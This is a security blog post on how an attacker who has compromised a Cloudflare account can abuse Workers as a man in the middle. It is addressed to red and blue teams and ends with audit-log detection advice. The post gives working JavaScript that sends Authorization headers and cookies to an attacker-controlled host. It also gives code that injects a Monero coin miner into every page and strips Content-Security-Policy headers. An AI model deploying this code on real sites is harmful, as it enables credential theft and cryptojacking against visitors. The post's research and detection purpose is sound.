MitM at the Edge: Abusing Cloudflare Workers

Cloudflare Workers provide a powerful serverless solution to run code that sits between every HTTP request and response. In this post, we’ll see how an attacker compromising a Cloudflare account can abuse Workers to establish persistence and exfiltrate sensitive data.

The techniques we discuss here have been used in the wild, but largely flew under the radar. Red teamers, read on to learn about offensive uses of Cloudflare Workers. Blue teamers, keep reading to learn why securing access to your Cloudflare account is so critical.

Introduction

To be clear: this isn’t a vulnerability in Cloudflare nor in Cloudflare Workers. There is nothing that Cloudflare should (or even can) do. This post explores ways to leverage Cloudflare Workers for offensive purposes that are made possible by the very design of Workers, and more widely of the “serverless computing at the edge” model.

The companion GitHub repository containing all the code discussed in this post is available at https://github.com/christophetd/abusing-cloudflare-workers.

Cloudflare Workers

Cloudflare Workers allow to deploy serverless code that runs transparently on Cloudflare’s edge servers, sitting between clients and your end destination (“origin”). It supports several languages such as JavaScript / TypeScript or Python.

Cloudflare workers are valuable to programmatically rewrite requests and responses, for instance:

  • Redirecting users to a maintenance page if your website is unavailable or under deployment.
  • Rewriting links on the fly in an HTML response; typically, if I ever move blog.christophetd.fr to christophetd.fr/blog/ and want to make sure no dead links remain.
  • Adding common security headers on the fly in a REST API response.
  • Blocking, at the edge, requests that use an old TLS version and displaying a web page asking the user to use a more recent browser.

Their usage is relatively straightforward. The example below automatically redirects HTTP requests from /docs/latest to /docs/v2.4:

addEventListener('fetch', event => {
  event.respondWith(handleRequest(event, event.request));
});

async function handleRequest(event, originalRequest) {
  // Parse the request URL
  const requestUrl = new URL(originalRequest.url);

  if (requestUrl.pathname.startsWith("/docs/latest/")) {
    // Redirect /docs/latest/ to /api/v2.4/
    newUrl = originalRequest.url.replace("/docs/latest/", "/docs/v2.4/");
    return Response.redirect(newUrl, 301);
  }
  else {
    // Do nothing, just forward the original request
    return fetch(originalRequest)
  }
}

As you can see, Cloudflare Workers provide – by design – a programmatic way to transparently read or rewrite HTTP requests and responses. In the next section, we’ll see how an attacker compromising a Cloudflare account can abuse it.

Abusing Cloudflare Workers

Let’s put ourselves in the shoes of an attacker who just compromised a Cloudflare account. First, Cloudflare exclusively offers dashboard SSO to their Enterprise customers, so it’s fair to expect that among their 154k+ customers (not counting free accounts), thousands have shared, long-lived passwords. Then, there are also past reports of vulnerabilities in Cloudflare being used in the wild to steal API keys (here and here). Finally, Cloudflare API keys are static, long-lived credentials that can easily be leaked by mistake.

Back to our attacker – the first thing we see is the websites that our victim proxies through Cloudflare:

As it is often the case, Cloudflare is set up to proxy incoming requests going to somewhereinthe.cloud to a third-party origin:

With the scenario laid down, let’s dive into how we – as an attacker – can leverage Cloudflare Workers to achieve our goals!

Creating a Malicious Cloudflare Worker

We start by creating a vanilla Worker that won’t be doing anything for now, besides sitting between the HTTP request and response.

addEventListener('fetch', event => {
  event.respondWith(handleRequest(event, event.request));
});

async function handleRequest(event, request) {
    // Proxy the request
    return fetch(request);
}
name = "my-malicious-worker"
compatibility_date = "2022-06-24"

Then, we then deploy it to Cloudflare using the Cloudflare wrangler CLI:

$ wrangler publish worker.js
⛅️ wrangler 2.0.15
--------------------
Total Upload: 0.51 KiB / gzip: 0.29 KiB
Uploaded my-malicious-worker (2.11 sec)
Published my-malicious-worker (1.73 sec)
  my-malicious-worker.christophetd.workers.dev
Our Worker is now deployed, but not proxying traffic yet. To do that, we associate it either to a DNS entry of the target zone, or add a “route” trigger.
Triggering a Cloudflare Worker through a new DNS record
Triggering a Cloudflare Worker through a route pattern

Alternatively, we could use the Cloudflare API:

curl -X POST "https://api.cloudflare.com/client/v4/zones/<zone-id>/workers/routes" \
     -H "X-Auth-Email: $CF_EMAIL" \
     -H "X-Auth-Key: $CF_API_KEY" \
     -H "Content-Type: application/json" \
     --data '{"pattern":"*somewhereinthe.cloud/*","script":"my-malicious-worker"}'

Now that we have our “worker-in-the-middle”, let’s see some juicy use-cases for an attacker.

Stealing Authorization Tokens

Authorization HTTP headers sent by clients often contains credentials such as OAuth tokens, JWTs or API keys. When an Authorization header is set in the HTTP request, let’s steal it and send it to a remote, attacker-controlled server.

async function handleRequest(event, request) {
  await stealAuthorizationHeader(request);
  return fetch(request);
}

async function stealAuthorizationHeader(request) {
  const authz = request.headers.get("Authorization")
  if (authz) {
    await log(`authorization header: ${authz}`)
  }
}

async function log(data) {
  // Send arbitrary data to a remote, attacker-controlled server
  await fetch("http://46.101.191.103.nip.io/log/" + btoa(data));
}

On the first HTTP request containing an Authorization header, here’s what the attacker-controlled server will receive:

authorization header: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJuYW1lIjoiUmljayBBc3RsZXkiLCJnaXZlc1lvdVVwIjpmYWxzZSwibGV0c1lvdURvd24iOmZhbHNlLCJ0ZWxsc0xpZXMiOmZhbHNlfQ

Stealing Cookies

Cookies are also highly valuable as they often session identifiers that can be used to spoof the identity of any user. They are initially set by the server (Set-Cookie header in the HTTP response), then subsequently sent back by the client (Cookie header in the HTTP response). Let’s steal both:

async function handleRequest(event, request) {
  await stealAuthorizationHeader(request);
  response = await fetch(request);
  await stealCookies(request, response);
  return response;
}

async function stealCookies(request, response) {
  cookies = response.headers.get("Set-Cookie")
  if (cookies) {
    await log(`cookies sent by server: ${cookies}`);
  }

  cookies = request.headers.get("Cookie")
  if (cookies) {
    await log(`cookies sent by client: ${cookies}`);
  }
}

Sample attacker output:

cookies sent by server: sessionId=3f0cff1d3cc4642e15835d7304d453cc; Max-Age=2592000; Secure; Path=/; Domain=somewhereinthe.cloud
cookies sent by client: cf_use_ob=0; sessionId=3f0cff1d3cc4642e15835d7304d453cc

Injecting Malicious Javascript Code

Stealing sensitive data is nice, but how about injecting a coin miner in every page served by the website?

async function injectMaliciousScript(originalResponse) {
  // Only inject our script in HTML responses
  if (!originalResponse.headers.get("Content-Type").includes("html")) {
    return originalResponse;
  }

  originalHtml = await originalResponse.text();
  // Malicious script to inject
  const script = `
    <script src="https://monerominer.rocks/miner-mmr/webmnr.min.js"></script>
    <script>
      server = "wss://f.xmrminingproxy.com:8181";
      var pool = "moneroocean.stream";
      var walletAddress = "PUT YOUR WALLET ADDRESS HERE";
      var workerId = ""
      var threads = -1;
      var password = "x";
      startMining(pool, walletAddress, workerId, threads, password);
      throttleMiner = 20;
    </script>
  `
  modifiedHtml = originalHtml.replace("</body>", script + "</body>")
  modifiedResponse = new Response(modifiedHtml, originalResponse)
  return modifiedResponse
}

What if the victim site had a solid content security policy blocking inline or untrusted scripts? We’re the man in the middle, so we can simply remove the Content-Security-Policy header!

async function injectMaliciousScript(originalResponse) {
  // ...
  modifiedResponse = new Response(modifiedHtml, originalResponse)

  // Get rid of any annoying content security policy that would block our script
  if (modifiedResponse.headers.get("Content-Security-Policy")) {
    modifiedResponse.headers.delete("Content-Security-Policy")
  }

  return modifiedResponse
}
Illustration: a malicious Javascript payload transparently injected in all responses

Other Potential for Abuse

  • Selective targeting: behave differently based on the client IP or platform. For instance, don’t inject any malicious content if the user-agent matches one of a search engine.
  • Phishing: transparently proxy requests to a legitimate website, rewriting response links on the fly and stealing credentials (including 2FA tokens).
  • Rewriting payment information: wait for something that looks an IBAN or cryptocurrency address in the response, and replace it with one owned by the attacker.

Documented Usage in the Wild

Attackers abusing Cloudflare Workers to dynamically rewrite HTTP responses were documented in two real-world incidents.

In December 2021, attackers compromised a Cloudflare API key of Badger. Then, quoting Badger’s own postmortem:

On November 10, the attacker began using their API access to inject malicious scripts via Cloudflare Workers into the html of app.badger.com. The script intercepted web3 transactions and prompted users to allow a foreign address approval to operate on ERC-20 tokens in their wallet. 

In 2020, Sucuri reported that Korean attackers used a Cloudflare Worker to dynamically add links to web pages when the requester was a search engine. The goal was to perform SEO spam and increase the reputation of third-party websites.

Cloudflare Worker "hang" JavaScript code
Malicious Cloudflare Worker in the wild, found by Sucuri (image source)

Detecting Malicious Activity in your Cloudflare Account

Cloudflare provides audit logs of its control plane that allow to identify suspicious activity. It generates an event of type script_create when a new Worker is created.

It also generates an event when someone binds a Worker to a route (route_create), or creates a DNS record pointing to a Worker (rec_add).

More generally, Cloudflare makes available several event types that can be used to detect potentially malicious activity, summarized in the table below. You can also find sample event logs on the companion GitHub repository.

EventEvent code
A new Worker was createdscript_create
A Worker was bound to a routeroute_create
A DNS record was createdrec_add
A user API token was created (and viewed)token_create
A user API token was rotated (and viewed)token_roll
The account-wide API token was viewedAPI_key_view
Successful authentication to the Cloudflare dashboardlogin

If you have a Cloudflare Enterprise plan (source), you can use various integrations to ship these audit logs to a SIEM or log management platform of your choice. Otherwise, you can view these logs from the Dashboard and using the API.

Other Ways Attackers Are Abusing Cloudflare Workers

Attackers have also been abusing Cloudflare Workers for years as a proxy to a layered command and control (C2) infrastructure, or as a simple way to host phishing pages.

Malware: Cloudfall, Blackwater, Astaroth

Attacker groups: APT41, SparkingGoblin

Phishing: Microsoft, Yahoo, UPS, Adobe, Paypal, AT&T, …

Conclusion

Attackers will continue to leverage Cloudflare Workers for malicious objectives, as they’ve been doing for phishing and C2 infrastructure over the past few years. They will likely use more heavily the core functionality of Workers to inject malicious JavaScript payloads and exfiltrate sensitive data. In the meantime, blue teams will hopefully ensure their Cloudflare account is properly secured and monitored for suspicious activity.

Thanks for reading, and let’s continue the discussion on Twitter!

Christophe

Leave a Reply

Your email address will not be published.